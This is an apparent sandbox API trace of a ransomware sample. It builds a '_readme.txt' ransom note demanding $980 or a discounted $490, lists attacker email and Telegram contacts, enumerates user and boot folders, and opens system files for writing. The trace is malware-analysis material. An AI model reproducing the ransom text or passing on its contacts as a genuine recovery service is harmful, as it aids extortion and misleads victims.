lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0122.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30678c8 [0122.443] CreateFileW (lpFileName="C:\\Config.Msi\\_readme.txt" (normalized: "c:\\config.msi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30678c8 | out: hHeap=0x5b0000) returned 1 [0122.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307d938 | out: hHeap=0x5b0000) returned 1 [0122.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.443] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a0d2f0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a0d2f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a0d2f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0xffffffff [0122.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.443] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda58 [0122.443] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd9c8 [0122.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.444] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.444] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.444] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.444] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.444] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc5b0 [0122.444] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.444] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc5b0 [0122.444] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.444] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.444] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.444] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.445] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.445] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.445] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.445] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.445] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.445] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.445] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda58 [0122.445] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.445] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd9c8 [0122.445] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.445] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.445] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.445] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.445] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.445] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.445] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.445] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.445] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.445] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.445] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.445] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.445] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.445] PathFindFileNameW (pszPath="") returned="" [0122.445] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.445] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.446] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.446] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x3067040 [0122.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.446] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.446] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.446] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.446] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0122.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd9c8 [0122.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda58 [0122.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddae8 [0122.446] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0122.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc5b0 [0122.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc6c8 [0122.446] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0122.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc5b0 [0122.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc620 [0122.446] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0122.446] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc5b0 [0122.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc658 [0122.447] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018978 [0122.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc5b0 [0122.447] PathFindExtensionW (pszPath="C:\\Users\\desktop.ini") returned=".ini" [0122.447] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0122.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018978 [0122.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc5b0 [0122.447] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0122.447] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.447] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.447] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189c8 [0122.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.447] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.447] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.447] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0122.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.447] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.447] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.447] PathFindFileNameW (pszPath="") returned="" [0122.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.448] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.448] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.448] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x3067040 [0122.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.448] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.448] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0122.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.448] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0122.448] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a595b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a595b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.448] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a595b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a595b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.449] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.449] PathFindExtensionW (pszPath="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned=".mui" [0122.449] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.449] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a595b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a595b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a595b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.449] PathFindExtensionW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned=".txt" [0122.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.449] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a595b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a595b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a595b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.449] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.449] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.449] RtlAllocateHeap 